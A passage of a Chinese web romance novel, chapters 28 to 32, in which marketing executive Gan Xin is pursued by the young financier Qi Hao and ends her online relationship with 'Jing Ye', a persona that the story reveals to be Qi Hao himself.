“嗯,上手很快,20不到就开始接触投融资并购业务,怪不得齐老爷子这么看重,”沈确喝了口茶,肉眼可见地放松了下来,“前两年圈子里流行一句话,天才……只是见齐灏的门槛。” ……天才? 沈确的下一句话,把甘歆砸得脑袋都有点晕,“据我所知,他没有夸过任何人。” 他夸了我。 还说过要追我? 甘歆突然有些后悔,没让王潇泡杯茶进来,她口有些渴,只能吞咽唾沫下去。 “小齐总的对接交给你,我最放心。”沈确又补了一句。 “……好,我会联系他的,”甘歆抬头问,“他现在在哪儿?” 沈确摇了摇头,“不知道,他所有的访问IP都是加密的,你要是想见他,可以直接约。” “不是,我就是问问,”甘歆见聊得差不多了,“您要是没别的吩咐,我先下楼了。” “甘歆,”沈确盯着她的眼睛,“我和雅悦只是商务关系,没有私交。” 她现在脑子里哪里还有余裕去想他和雅悦的关系,即使沈确直接说明天要和Rita结婚,她都不关心。 “嗯。” 甘歆站起来太快,一瞬间有些不稳,在沈确要伸出手扶她的时候摆了手势阻止,“不用,谢谢。” 出了沈确的办公室,她选择走楼梯下去,她在楼梯转角处停下了,拿出手机找到了齐灏的对话框,打了“小齐总好”四个字,迟迟没有发出去。 在声控灯暗的那一瞬间,她心里来了火气,把内容清空,换成了两个字,直接发了出去。 “出来!” 第29章 第29章“别停,还要。”“叫我,叫…… 她从来没有下过这么快的楼,都顾不上红底高跟鞋的细跟,直到要冲出安全门之前,才冷静下来了些。 甘歆说服不了自己,这不是齐灏有意为之。 从他凭空消失开始,她总觉得有哪里不对劲。 她在门内深呼吸了两下,才慢慢踏出去,直到坐进自己办公室,才恍觉过快的心跳。 所有人对齐灏的评价全部涌入脑中,她自嘲地笑了起来,怎么自己就信了他那一句只是个普通人?真是信了他的邪! 手机响了,甘歆却有点不想去看,憋了一会儿还是抓过了手机打开。 “在的。” 一瞬间甘歆的脏话都差点骂出来,自己在这气得不行,他倒是一句云淡风轻的在的?! “打电话。”甘歆没好气地回了过去,又发了句,“我打给你。” 她根本不想给齐灏留一点点思考的空间,天才么不是,天才不需要思考空间的吧。 不是语音电话,而是直接拨打了齐灏的手机号。 嘟——还没嘟完,只是半声,电话就被齐灏接起来了。 “喂。” 甘歆突然不知道该说点什么了。 齐灏轻轻叹了口气,又说:“找我吗?” “嗯。”冷冰冰、硬邦邦。 “好,那你说。”齐灏一副任她为所欲为的样子。 这让她更恼火,“你搞什么?为什么跟沈确提我?” “沈确跟你说的?”齐灏没回答,却反问了过来。 “是,还让我跟寰科投资晟宇的营销方案,”甘歆气不打一处来,语气都凶地质问,“上次论坛活动为什么不是你对接做完的?” “因为你不对接了。”齐灏的回答太直白,直冲甘歆的脑门。 因为你不对接了,所以我不对接了,摆明了齐灏就是 冲甘歆去的,他坦荡得让甘歆无措。 “……”甘歆挠了挠眉毛,不是下属,也没立场说人家不认真负责,何况后续完成得挺好的,齐灏应该也做了充分的交接工作,一下子找不到齐灏的缺点,她有些气急败坏,“你第一次做的流程表,是不是故意做烂的。” 她从来不知道,自己还能这么不讲道理,一定要挑出那个人的错处来。 电话那头沉默了,几秒后才说,“为什么生气?” “你先回答我!是不是故意的!” 她听到了喉咙上下滚动的声音,又过了几秒齐灏才说:“不完全是,我……Office的确用得不太好。” “你想用得多好?用excel画画吗?!” “对不起,”齐灏清了清嗓子,好像又挪了个地方,又追问,“是因为和沈确提你了吗?” 甘歆真的很想一个“是”字甩出去,她强压住自己的莫名怒意,深吸了两口气,“我没义务告诉你,打电话是想跟你说一声,融资官宣方案我这边来策划对接,还请小齐总将你们相关团队的联系人推给我。” “晟宇的融资主导人是我。”言下之意不言而喻,他要直接和甘歆联系。 “你——”甘歆一下子不知道说什么好,“能不能不要在我身上玩这种有钱人的把戏?” “我不懂,你说给我听。”齐灏也强势了起来。 “我希望我只是自作多情,但我希望小齐总您公私分明,不要通过我老板的这层关系,来促使我与您联系。” “我想你大概误会了,歆总,”齐灏的声线也冷了下来,像低鸣的钝刀,“通过另一个男人让喜欢的人联系自己,我看起来这么大方?” 甘歆愣了一下,什么喜欢,不是已经过去了吗? 她整理了一下思绪,“小齐总——” “别这么叫我。”他的恶劣显现了出来。 甘歆只管继续说,“有些事情我做得也比较明确,而且也这么长时间了,过去的事情就让它过去吧,我可以当什么都没听到过。” “我不可以,”齐灏斩钉截铁,“我过不去,只要你没有明确拒绝,我追的这一阵就不算完。” “齐灏!非得我说难听的话吗?”甘歆质问他。 电话那头沉默了,没有应答。 “……你还年轻,这事先不谈,”甘歆说得有些头疼,她揉了揉脑袋,声音都软了下去,刚刚的气势也消散了,“晟宇融资的项目,你有空跟我说说吧,多亏你在沈确面前夸了我,他想升我当VP呢。” “是沈确让你接这个案子的?” “不然呢,”甘歆无力地笑了笑,“我没事给自己找事?” “抱歉,我没想到工作上会给你带来困扰,”齐灏说得很慢,像是解释,也含着安抚的,“可能因为我之前参与了保障房项目,沈确跟我聊了挺多,我看得出来他很欣赏你,他问我觉得怎么样,我就照实说了,没想到会给你这么大压力。” 甘歆听了有些不是滋味,但不知道该怎么说。 她是愿意接触更上层的业务的,也想赚很多钱,但并不想用这种方式。 这种类似内推的行为,会让她对自己的业务水平失去判断力,就好像她不希望沈确真的对她有什么别的想法一样。 “我也……”齐灏笑了下,能听出来有自责也有无奈,“不知道自己不能夸人,对不起。” 甘歆的内心好似发出了一声闷响,她快速地眨了眨眼睛,有些憋得慌,心里有个声音不断提醒认她,不能再就着这个问题继续下去了,“你现在在哪儿?” 齐灏又沉默了,甘歆才想到之前沈确说的话,“噢对,他说你的IP是保——” “我不在国内,现在在纽约,曼哈顿。”齐灏直接打断了她的话。 “你怎么也在美国……”甘歆下意识地问出了口。 “还有谁在?” 甘歆摇了摇头才想起齐灏看不到,没有回答他这个问题,“我应该给你打语音的。” 说完后才觉得自己有点犯傻,他缺这点漫游费吗? “还有谁在这里?”齐灏不依不饶。 甘歆着魔似得顺着他的话想了下去,还有个齐颢也在,就在洛杉矶,他的名字和你很像,声音也很像,如果你们认识,一定会很觉得神奇。 “你不认识。”甘歆说得干脆。 “好吧,”齐灏突然问她,“你谈恋爱了吗?” 到嘴边的“关你什么事”被甘歆咽下去了,她换了个回答,“嗯。” “和那个在美国的人?” 甘歆突然有点烦躁,问这么多干嘛,又没打算和你在一起,但她还是回答了,“嗯。” “你们见面了?” “你是不是管得有点多了?” “没见面的话,我还有机会。” “他明年就回来了,到时候我会和他见面,”甘歆甚至有点语重心长,“你有机会也多看看身边的女孩子,年轻漂亮的,哪个不比我强。” 齐灏回怼她:“你是不是管得有点多了?” “不知好歹,挂了。” “等下,”齐灏叫住了她,“融资营销方案的事我事先不知道,但既然是你来做,我会把目前的材料和进度都整理给你,我很期待。” “嗯,”甘歆表面不咸不淡地,嘴里还不忘记揶揄他,“知道了,甲方爸爸。” “……你能不能不要随便喊男人爸爸?” 甘歆突然笑了出来,这个男生的生涩怎么来得这么突然,“怎么了,没人这么喊过你吗?登高望远、纸醉金迷的太子爷,这么纯啊?” “资料一会发你,有什么问题随时问我,”齐灏顿了顿,又补了一句,“投融资这块,我比沈确强。” “知道了,挂了。” “嗯,那我睡了。” 甘歆这才注意到,现在刚过下午三点半,齐灏那边的时差是12小时。 “快睡吧,”她的声音软了下来,“晚安。” “晚安。” 齐灏就这么再次闯进了甘歆的世界,名正言顺。 她打开了齐灏的社交账号,除了头像是那只德牧,其他都是系统默认的样式,连朋友圈都空空如也……印象里,齐灏好像也没有特别的偏好,喜欢什么、不喜欢什么,都很神秘,唯独对自己的这种近乎找不到原因的偏执,让她觉得摸不着头脑。 在知道齐灏在美国的时候,甘歆本来想把这件事分享给景页,但这个电话过后,她又有些不确定了,她好像无法对景页完全坦白齐灏的存在,现在想来,以前和他分享的时候,也是用小狗来代替。 再次打开景页的对话框,看着自己日复一日和这个人的聊天记录,互相分享没有交集的生活,连对方长什么样都要保持神秘,他惯着、宠着、哄着,他永远有风度。 他们隔着屏幕,只戴着耳机,有的时候是景页单方面的画面,即使人不在跟前,感官也受限,也在这段互相依赖的日子里,不断解锁着各种不同的体验,他们越来越激烈、大胆。 同样地,甘歆也清楚,他们的激情频率在下降,体验的阈值也在攀升。 有的时候,甚至只有近乎变.态的刺激,才会让双方觉得满足。 她和景页的关系好像陷入了一个误区,她在这个区域里觉得黑暗、沉沦,也觉得危险。 生活里并不是天天都能有不着实际的内容可以分享给他,更多的、实际发生的事情,她依旧无处可说。 她的水泥心好像被景页凿开了一条缝隙,随着风吹雨淋,慢慢对世界有了更多期待。 意识到了自己的贪心,甘歆又不想表现得太明显,这天晚上主动缠着景页。 有意的引诱似乎让对面的男人觉得奇怪,她反常地说了许多软话,又问他将来和以后,在他终于忍不住要发起攻势的时候,甘歆清醒了一瞬,又即刻沉浸下去。 今夜她没有让景页开摄像头,只凭彼此的声音互相抚慰。 “今天怎么了,有不高兴的事?” “没有……别停……还要……” 景页的声音也哑了下来,“叫我,叫我好不好……” “景页……” “叫我的名字,我想听你叫我的名字。” “……阿颢。” “可以带上姓吗?” 她没有照 做,“阿颢……” “姐姐,叫我……求你。” “啊……齐……齐灏——” 她的脑子里凑不齐景页的整个人,却闪过了齐灏的脸。就在这一瞬间,她浑身的毛孔都好像张开了,惹出了一身的汗,天鹅颈绷得笔直,只能用力仰头去汲取呼吸,大腿的筋肉不由控制地颤抖。甘歆达到了前所未有的高.潮。 要了命了。 第30章 第30章她越来越分不清景页和齐灏。…… 助理进来的时候,齐灏已经穿戴整齐从休息室出来了,剪裁修身的羊毛面料西装,愈发衬托出了他的腿长,仅仅大半年过去,他身上的青涩已经褪去了不少,显出了些矜贵来。 他脸的轮廓比之更锋利了些,尤其是下颚线,明明不是那么瘦的人,却若刀雕般,头发上也抹了发蜡,看似随意抓的造型,却透露出了干净利落。 青年的成长肉眼可见,身上的气场更强大了。 此刻齐灏双手插着口袋,姿态随意地站在87楼办公室的落地窗边,看着金融街上往来的川流,楼层太高,根本看不清在地面走路的人。 “齐总,您找我。” “嗯,”齐灏的声音依旧很轻很淡,但恰巧能让人听见,“晟宇融资的资料按照时间线整理一下,包括从初步方案到现在既定方案的差异,也需要标明。” “好的。” “回洛杉矶的票买了吗?” “买好了,三点半的航班,车一点来楼下接您。” “知道了。” “那没什么吩咐的话,我先出去了。” “嗯。” 没有人知道,明明公司据点在纽约,这个年轻的权贵在每周周会后,坚持回洛杉矶,直至下周日再飞红眼航班回来。 洛杉矶和纽约的时差是三个小时,一来一回之间,他每周约等于能多出六个小时的时间,和甘歆腻在一起,即使来回的航行加起来超过十二个小时,在齐灏的计算方式里,这就是最大的划算。 他最近迫切地想要甘歆揭开谜底。 齐灏太聪明了,如果真的捱到年后见面,他几乎不可能成功。 看着落地窗面前映出自己的影子,齐灏有些无奈,他几乎将所有的破绽直接放到了甘歆的面前,可她似乎并不愿意往这方面想,宁可相信他在虚空中塑造出来的人。 就算景页是他自己,齐灏就是控制不住嫉妒。 凭什么虚拟的可以,真实的他却不行? 景页什么都没有,温柔、风度、占有、细心、讨好,都是他自己的。 就在方才,他凭借自己阴暗的无赖,近乎是逼迫甘歆叫出了自己的名字。 一瞬间的头皮发麻,几乎让他的脊柱都绷直了。 他再也不想遮掩自己的渴求。 几乎是孤注一掷地用力推了甘歆一把。 齐灏不拜神佛,不信命运。 说到底,他是个赌徒,筹码放完,只等庄家论输赢。 17岁那年,或许更早,甘歆就成了齐灏的庄。 —— 这一晚甘歆睡得不踏实,总在半梦半醒之间。 她梦见了看不见脸的男人,又好像看见了个带脸的,两个男人的名字一样,连手型都很像,他们都在和她说话,你一言我一语,声音空茫听不见具体。 六点不到,她实在睡不下去了,索性起床,洗漱后泡了杯胶囊咖啡,走到阳台里将窗户全都打开了。今年的夏天过得仓促,这会儿风已经微凉,空气干燥,吹在脸上还觉得有些刺。 比起夜里的辗转反侧,甘歆最难接受的,是昨天她是想的是齐灏的脸。 好像补足了景页的最后一块拼图,连身体都不受控制。 咖啡见底,自己却好像不清醒。 怎么能对一个二十岁的男孩起这种念头呢,你是疯了吗? 她在心里大声质问,甚至指责。 可身体的反应实在诚实,只是闪的那一瞬,就好像告知了答案。 她忘了是谁说的,当想不明白的时候,就看看自己的本能。 可为什么自己的本能这么龌龊不堪?! 幸好,时间不会让她矫情太久,到了公司后,就无法再匀出闲暇去思考这些漂浮的东西,保障房和融资的营销方案占据了她大量的时间,从会议室到会议室,头脑风暴、方向定调,再亲手指导修改,她几乎是轮轴转。 比起沈确的说一句藏半句,齐灏更加难缠,他几乎不会漏任何信息给她,连好和不好都不会说,根本无从判断他的倾向,只能一遍遍地改、调整。 工作原因,齐灏在纽约这件事不再是秘密,就是约他开会实在是难,寰科太子爷的时间似乎很有限,只有每周一上午可约,有的时候甘歆还要和沈确抢会议时间。 虽然被他折磨得快疯了,但甘歆渐渐摸出了规律,齐灏有自己的一套评价标准,市场上出现过的东西很难让他点头,唯有全新的、前瞻性的内容才会在他那里过关。甘歆这才明白,寰科成为业界的风向标不是空穴来风,不借鉴、不复制,只创造。 她坚持不在私底下和他聊工作,连话都不怎么说,齐灏似乎也没那个美国时间和她闲聊,只是偶尔会在午休、傍晚的时候会给她点餐,送餐的是之前见过的司机,送来的餐没有商标门店,都是家常的保温盒。 不是没拒绝过,但司机请她不要为难他,甘歆也没办法了。 菜都是家常菜,油盐也少,倒是合胃口,一来二去后,甘歆也随便他。 有一次被张然撞见了,她笑得贼兮兮地问甘歆是不是有情况,就是感觉送餐的人好像送得也太板正了,她只能解释说这是那个神秘人叫人来送的。 “交换地址了?”送完文件的张然赖在甘歆的办公室不走,一脸八卦。 “嗯,交换了。”甘歆睁着眼睛说瞎话,事实根本没办法说出口。 张然看起来比甘歆更兴奋,“真谈上啦?仙女下凡了?” 甘歆被她这句话逗笑了,哪来的仙女,“谈上了。” “他到底长什么样,给我看看,不帅的话我可不答应啊。” 甘歆犹豫了很久,不知道要不要把还不知道景页长相的事情告诉张然,过去只是暧昧,没脸的话还说得过去,现在约等于确认了一下关系,还不知道长什么样好像就有些说不过去了。 张然对着她眨眼睛,“藏着不给看?这么帅的吗?” 甘歆清了清嗓子,笑了出来,顺势逗她,“挺帅的。” 就是这三个字说出去后,脑子里出现的是齐灏的脸。 “什么时候见面?” “快了吧,等他从国外回来。” “异国网恋?你这buff叠得也太满了。” 甘歆不经意地叹了口气。 “怎么了?嫌远还是嫌晚?” “不是。”她又笑了笑。 正不知道该怎么说,来了个电话解救了这场困境,即使是骚扰电话,她也感激。 景页对她一如既往,可她却变了。 她越来越分不清他和齐灏。 有的时候刚刚和齐灏聊完工作说了再见,再与景页说话只她脑子里出来的画面,仍旧是会议视频里那张淡漠矜贵的青年面容。 比起景页的温柔知趣,齐灏更加鲜明、更加锋利,也更加真实。 再后来,在与景页对话的时候,蹦出齐灏模样的次越来越多,有的时候甚至会不自主地去想,如果对面是齐灏,他的反应会不会和景页一样。 说起来,齐灏的追求太沉默了,好像也只是给她发出个通知,一点多余的话都没有,只有时不时会出现的饭盒,和偶尔私聊对话框里的几句关心,还在提醒她这件事。 甘歆开始逃避与景页做亲密的事,有的时候甚至会借加班的理由不与他联系。 奇怪的是,景页从来不追究原因,即使有的时候明明听起来是借口,他依然由着她,对她一如既往。 —— 晟宇的融资官宣方案终于在春节前敲定,在齐灏说出OK的那一刻,他们整个部门都松快了。 甘歆特意点了些下午茶犒劳大家,她自己拿了杯饮料进了办公室,刚坐下没多久,前台妹妹许嘉丽就打了电话过来。 “歆总,抱歉打扰,门口有人给您送花,劳烦您过来签收下。” 送花?不会吧。 来不及细想,甘歆回复 :“好的,我马上过来。” 一束黄色的玫瑰递过来,甘歆签收了,许嘉丽的眼神里带着直白的羡慕,年轻人说的话却有些莽撞,“是歆总男朋友送的吗,太浪漫了,今天是什么日子呀。” 甘歆什么都没回复,对着她笑笑就拿着玫瑰进了办公区。 她今天穿了藕粉色的羊绒长裙,腰间系了条珍珠腰链,肉色丝袜下又踩了双方根的白色短靴,整个人看起来都温柔,像冬日里暖绒绒的太阳。 此时捧了一束黄玫瑰,更显得出挑,自己部门里的人都看呆了,但碍于平日她严格御下,几乎没有人敢八卦这束花的来历。 关上了办公室的门,才仔细去看,一共有七枝,她翻开包花纸找卡片。 没有祝福语,只有落款,简单的一个字,是个繁体的“齐”。 再仔细去看卡片,这个字应该是打印上去的,字形却是手写的。 本来不应该犹豫的,她应该打开景页的对话框来表达感谢,并且告知他下次不要往公司里送花了,可能还会问问他为什么是黄玫瑰。 但心底的想法就好像咳嗽一样,越掩饰越强烈,她不清楚此刻心里到底是害怕还是期待,有没有微乎其微的可能,这束花会是—— 叮叮,手机适时地响了起来。 甘歆有些不敢伸手,她心里有卑劣的想法。 答案就在那里,犹豫了近半分钟,才终于拿到了手里,打开。 “这段时间辛苦了,这次当面夸你可以么,送你的太阳神玫瑰还喜欢吗?” 景页的聊天框早就被工作刷到了下面去,此刻排在第一的,是刚发了信息过来的齐灏。 真的是齐灏送来的。 她都不敢去查太阳神玫瑰的花语,灿烈的金黄,像是阿波罗真神。 齐灏一句情话都没有说,她却觉得这股情愫烫极了,仿佛积攒已久。 在心底里溢出不该有的甜意时,甘歆知道,自己完了。 回到家后,她直接往沙发上一卧,连绵不绝的语音电话铃声,都不想去接。 她已经没有办法像往常一样面对景页,甚至连说话,都会被他那具有欺骗性的声线带偏。她矛盾极了,有的时候希望他多说一点,有的时候甚至不敢听他说话。 景页的印象越来越模糊,齐灏的形象渐渐与他重叠。 她无意将谁作为谁的替身。 终于等到语音电话铃沉寂下去的时候,甘歆将手机拿了过来。 她已经没有办法和景页通电话了,他们的声音太像,像到让她慌乱。 “抱歉,我想你最近也觉察出了我们之间的不对劲,主要是我的问题,我没办法再继续这段关系了,礼物我会折算好费用转给你,谢谢你的出现,我们就到这吧。” 长久的静默之后,景页回了消息过来。 意料之中的过分宠溺,挣扎都不见半分。 “礼物留着吧,当这段时间的纪念也好。姐姐,以后你要开心。对不起。” 她其实想问问,有什么可对不起的。 可一旦要弄清楚,他们就还得聊,还得剖析。 这样的关系太危险。 不如算了,就这样吧。 甘歆没有再回他,将景页拉黑后又删除,不给自己留一点退路。 大洋彼岸的齐灏,站在南加州的海岸边,戴着墨镜仰头望向高高的悬日,心里却惦记着那轮临江的月光。 他□□做了生死局。 把景页做“死”了,却不知齐灏有没有“生”的机会。 他太胆小了,不敢伸手摘月。 他心太大了,在等月亮奔赴而来。 30-40 第31章 第31章“我回来追你了。” 整个春节甘歆都窝在市郊的父母家,家里老一辈前几年已相继去世,同辈兄弟姐妹也差不多都成家,到了节日里来往就少了,他们一家三口难得凑在一起,过了个温馨热闹年。 就是父亲问起之前给她寄礼物的人是谁时,甘歆有些恍惚,就说是个朋友,以后也不会再寄东西过来了。 从父母的眼神里其实能看出来,他们明白这个朋友肯定不太一般,但甘歆已经将结局说明白了,他们也不会再多说什么,眼下他们女儿开心快乐、事业有成,大过年的,没必要给她添堵。 甘歆见过不少花式催婚的,对比之下,父母的开明理解更显珍贵,她约了个过年不回家的摄影师朋友,带着爸妈去拍了全家福,还借了西装婚纱给父母拍了套婚纱照,一家人其乐融融过了个舒心年。 景页的“消失”并没有给她带来太多的不应期,只是偶尔会觉得自己有些对不住这个人,想要确定关系的是自己,计划见面的是自己,抛开他的还是自己,但她真的无法做到与他继续下去,这个人身上齐灏的影子太重了。 春节里,齐灏只联系过自己一次,除夕守岁接近零点的时候他给甘歆发了个信息,个人风格极强的三个字,“方便吗?” 甘歆只回了个“嗯”,齐灏就打了电话过来。 电话拨通后,两个人都没有说话,甘歆有些憋不住,问他怎么不回来过年,齐灏只说还有事情没处理完。他们默契地没聊工作,沉默的时候又觉得时间被拉长了,甘歆刚想挂电话,这边的鞭炮声就响了,齐灏在电话里说了句话,她只听清了最后四个字,他说新年快乐,甘歆也回了句过去,便挂了电话。 她其实有些好奇,但碍于各种不合适,最终还是没问出口。 和齐灏接触的这小半年,她终于明白了沈确嘴里的“天才只是见齐灏的门槛”是什么意思了,甘歆从未觉得,一个二十出头的年轻人,竟然会有如此的敏锐度和判断力,对数字的敏感程度和事项的把控几乎超出常人,连背景调研里出现过的数字,他说不对,到头来真的会发现有问题。 他有着年轻人的冲劲,却没有年轻人的急躁,无论磨合多少次,他说话的语音语调几乎都一样,静如湖水,让人安心,就连视频会议里投射过来的眼神,都稳得挑不出错来。 送餐也越来越频繁,几乎是工作日的每天,甘歆有时中午吃着,都觉得心里烧得慌,她记得一开始,司机每天都带个玻璃饭盒给她,后来家里攒得越来越多,她索性一次性还给了他,还让他不要破费,她每天洗一个,中午的时候和他换,她在司机的眼神里读到了感谢。 她开始慢慢对齐灏好奇,闲得无聊会搜一下他的名字,甘歆发现,除了简单的履历之外,齐灏的公共消息很少,这才反应过来自己在做多无聊的一件事,高调的永远是寰科,齐家人向来深居简出。 初六她就回了临江公寓,是临时起意的,所以挨了母亲的骂,说怎么一下子这么着急,连给她要带回去的东西都没准备好,甘歆就抱过去撒娇,说又不出省,让母亲放心,临走前还是带了一袋子吃的。 出门的时候,碰到了牵着孩子回奶奶家的梁越,互相打了招呼,甘歆还拿了盒巧克力曲奇送给了他女儿,要走之前梁越问甘歆怎么不见那个小学弟,她心里好像漏了一瞬,立马又笑着说是回家过年了。 坐上车,甘歆看了眼副驾驶,想到之前齐灏坐着的样子,明明腿那么长,还坚持坐副驾驶,真是不怕憋屈,她不经意笑了出来。 接着就叹了口气,怎么感觉突然之间,身边有了这么多齐灏的痕迹。 这种情绪转变,甘歆不敢去细想。 她把那个显而易见的答案埋进了湖底,用极深的湖水做遮掩。 正月初八,开工。 甘歆在沈确给所有员工的开工红包之外,还给自己部门的人额外包了一个,是激励也是敲打,今年北泽保障房地块正式动迁,晟宇的融资也将在下半年正式官宣,肉眼可见的忙碌。 中午 的部门开工饭过后,下午照例是中层会议。 年后的第一个会,大家都挺含蓄的,对着互相说新年好,也不提今年的KPI,光是打招呼寒暄就比之前就久了些,沈确来的时候,在座的都噤了声,只等老板的开工发言。 说了些日常的,最后留了个重磅炸弹,正式表达了在年底会设立公司VP的职位,并且会有一定的比例在中层干部中挑选。这块大肥肉露出来,已经有些人开始垂涎了。 甘歆只当耳旁风,只有稳稳当当落在盘子里的肉,她才当真。 这次沈确没有在会后与她私聊,但她坐到办公室的时候,张然就快速敲门进来递了个小道消息给他,太子爷提前回国了,人已经到机场了。 甘歆惊了一下,又立马恢复平静,“跟我说干嘛,又没让我去接他。” “说是直接来晟宇。” 她不自禁地咽了口唾沫,点了点头,又看向张然,“你不会真让我打寰科的主意吧?” “哎你想什么呢,”张然假样拍了下她的胳膊,“人家才多大,我能这么禽兽吗?” 这句话好像在甘歆心里放了个不倒翁,她显得有些不耐烦,皱了皱眉,“赶紧的,直说。” “不是,”张然眨了眨眼睛,展示了她的七窍玲珑心,“项目上我们不是和他接触挺多的么,他也指点了我们不少,你看看我们请他喝个东西,表达下谢意,合不合适?” 甘歆没忍住翻了个白眼,抿着嘴摇了摇头,“墙头草,寰科给你发工资啊?” “我们这不是想着……也能被小齐总多关照关照么。” “合着还不是你一个人的主意?” 张然点了点头。 “不行,”甘歆直接拒绝了,“你们这些脑袋瓜,以后怎么掉的都不知道,献这种殷勤,把沈确的脸往哪搁?” “沈总会介意吗?” “当然了,他才是老板,”甘歆赶她出去干活,“别想这些有的没的了,Q1计划表,抓紧发我。” 直到办公室的门全部关上,甘歆才长长呼了一口气出来。 齐灏竟然回来了。 他一点也没和自己说,还正在来晟宇的路上,甘歆回忆了下项目细节,并没有什么错漏,应该不是什么了不得的急事,也不是来问罪的,她稍稍放心了下来。 四十分钟后,王潇给甘歆发信息,“歆总,二十分钟后楼上大会议室开会,融资事项,请尽快答复我是否收到。” 她来不及细想,收到就发送了出去,紧接着就感觉心脏开始怦怦乱跳。 已经快一年没见到齐灏了,之前会议即使有视频,也感觉不真实。 二十分钟很快,她还提前了五分钟上去,进会议室的时候却懵了,连带着沈确,两边座位已经坐满了人,沈确用眼神示意自己位置已经留好了,甘歆像个刚进公司的员工似的,说了声不好意思才进入会议室落座。 靠门的这一排都是晟宇的人,窗的那一排坐的都是寰科的人。 坐下后她忍不住凑过去低声问沈确,“什么大事,这排场?” 沈确也压低了声音,“寰科的人听说小齐总下飞机要直接来这,马上就拎包过来了,我也不知道什么事。” “……融资结构有变化?” 沈确耸了个肩,又摊了摊手,“没听说。” “军事化管理啊……”甘歆感慨了下。 “跟着他们做吧,他们总比我们了解小齐总。” 甘歆眼睛睁了睁,齐灏转性了?不是不爱张扬么。 她就坐在靠门这边,看着对面一张张扑克脸有些犯怵。 正当她无聊得想去翻手机的时候,背后的门开了—— 方才会议室也安静,但还有人窸窸窣窣地说着小话,现在所有人都噤了声,坐在对面的人都一个个地站了起来,晟宇这边也被这种气氛带动了,沈确先带头,也都慢慢站起来了。 甘歆站在沈确的旁边,他的身体挡住了大半视线,又不好侧头太多,只是屏息等待,她不经意地攥紧了手,牙齿都咬住里口腔里的软肉,耳朵似乎被一声极高频的耳鸣占据了,听不见任何声音,连嗓子都在发干发燥,吞咽口水都困难。 只有被逼到这个境地,她才肯沉入湖底将那个答案拿出来。 她浑身紧绷,先看到了深灰色的西装。 齐灏身高腿长,身姿挺拔而优雅,走路的时候尤显从容,他的表情始终自持沉静,虽然待人宽和有礼,却也心思难猜,尤其是那一副深邃的眉眼,更是读不出半点情绪来,如光影打在雾里。 他没有走到主位边上,而是停在了沈确面前,伸出了一只手,声线沉稳又富有磁性,“新年好,沈总,打扰了。” 沈确与他握了握手,“小齐总新年好,不打扰,欢迎指导。” 齐灏的眼神好像在甘歆的脸上停留了一瞬,短到不可捉摸,像是大提琴快消弭的尾音,甘歆的心好像被这个眼神扬起来了,跳得又快又重。 人都走到面前了,她再也无法视而不见,那个从湖底里捞起来的答案。 是想念。 她真的在想念齐灏。 他落座在主位,会议室里的人才慢慢都坐下,那些人动作的幅度都小了,更显这个年轻人的放松慵懒,他的手就搁在了扶手上,自然下垂的样子很好看,修长正白,连手骨都漂亮。 甘歆发现,他以前带的运动手表没有了,手腕上空空如也,更显修长,也有些……熟悉。 会议开始前,两位总助一起进来了,主要是低声问问齐灏喝什么。 “我带了洋甘菊普洱来,帮忙泡一下吧,谢谢,”齐灏说得从容,声音不大,但甘歆能听到每一个字,“给歆总也泡一杯。” 甘歆的眼睛都瞪大了,抬头撞向了齐灏的视线。 齐灏的嘴角不经意勾了勾,她这才感受到他的调皮来,“年前辛苦了。” 沈确狐疑地看过来的时候,甘歆已经开始翻会议资料了,一个字没看进去,倒觉得有些烧脸。 她暗暗用指甲掐了下手心,怎么光长年纪,脸皮还不够厚呢。 下一秒,甘歆收到了张然发来的信息,她偷偷在桌底下打开看。 “小齐总请我们喝了下午茶!看来人家想感谢我们更多呢!歆总厉害!” 她有些哭笑不得。 刚要把手机关上,才看到齐灏在十分钟前就给自己发了消息,应该是在停车后,或者进楼前?来不及揣测,她的视线和神智就被这句话带走了。 “我回来追你了。” 第32章 第32章别回头,猜猜看,我是谁。…… 会议上没有说新的议题,只是将今年的执行节奏再次捋了一遍,齐灏说得很少,大多数时候只是听,偶尔会点头示意,或者提一些小问题。 甘歆全程都心不在焉,尤其看到齐灏嘴角有轻微弧度的时候,感觉脑子跟被钟撞了似的嗡嗡响。 会议不长,结束时连下班时间都没到,沈确让起了身的甘歆等一下,走到了齐灏的旁边,便开了口,“小齐总刚回国,我们准备的也不充分,晚上能否赏脸一起吃个饭?” 甘歆眼皮一跳,心里有点烦,但看向齐灏比平时更有温度的脸后,感觉这顿饭是逃不掉了,沈确提前也没和她说,毫无预兆的商务饭局总是让她头疼。 “歆总也一起来吗?”齐灏问得没头没尾。 沈确愣了下,才回过头看向甘歆,笑得春风和煦,半点没有刚才直接要把甘歆直接留下的意思,“晚上有时间吗?” 甘歆眨了眨眼睛,点了点头,“……有。” 心里却翻了个白眼,她能说什么。 “下次吧,这次太赶了。”齐灏拒绝了,仿佛开了100码的车拐了个大弯,让甘歆有些措手不及。 “好,那下次说定了。”沈确难得爽快。 齐灏点了点头,又对着助理扬了个下巴,助理就把准备好的一个礼品袋递了过来,旁若无人地对甘歆问:“刚刚的洋甘菊普洱好喝吗?” 甘歆弄不懂他什么路数,虽然仍带着微笑,却难掩眼神里想刀人的冲动,“挺好喝的。” 礼品袋就到了她的跟前,齐灏脸上的笑意明显 了些,“转机的时候恰巧买到的,送你的礼物,谢谢歆总的支持。” 她皱了皱眉,不是什么贵重的礼物,收下应该没什么问题,“谢谢。” 齐灏离开了,偌大的会议室里只有她和沈确两个人。 没有预兆,沈确直接问:“他是特意来找你的?” “找我干嘛,不是来开会的么。”甘歆选择装傻。 “这点事需要开会?” “……”甘歆心里也乱,说不上来,索性闭了嘴。 沈确也欲言又止,两个人都沉默了下来。 甘歆先动,“我先下楼了,沈总您有事再找我。” “阿歆,”沈确叫住了她,甘歆没有回头,“你现在……还不想谈恋爱吗?” 甘歆没有回答,手里拿着礼品袋,从安全楼梯下了楼,回到部门办公区域的时候发现大家都在,一双双都是亮晶晶的眼睛,看向她都是崇拜。 “怎么了?” 张然走了过来,打开手机屏幕,亮出了一封邮件,寰科的总裁办发来的感谢信,感谢市场营销部门的通力支持,并表达了以后希望多多合作的意向。 获得寰科的认可,对于任何团队来说,都是鼓舞。 这下不仅仅是心脏,她整个人都感觉躁动了起来,甘歆没有扫大家的兴,给张然转了一笔费用,说晚上大家去聚餐,让气氛更热了一层。 回到办公室,安静下来,咚咚直跳的心声更加明显。 应该要去联系齐灏的,感谢也好,质问也好,都得至少问一声,不然好像心里有鬼的是她自己。 但她好像就是心里有鬼。 张然敲了门进来问她晚上一起去不,她拒绝了,说开了一天的会太累,想回去早点休息,张然只说可惜,但没有强留,她知道甘歆每天的工作强度很大,绝没有外面说得那么轻松。 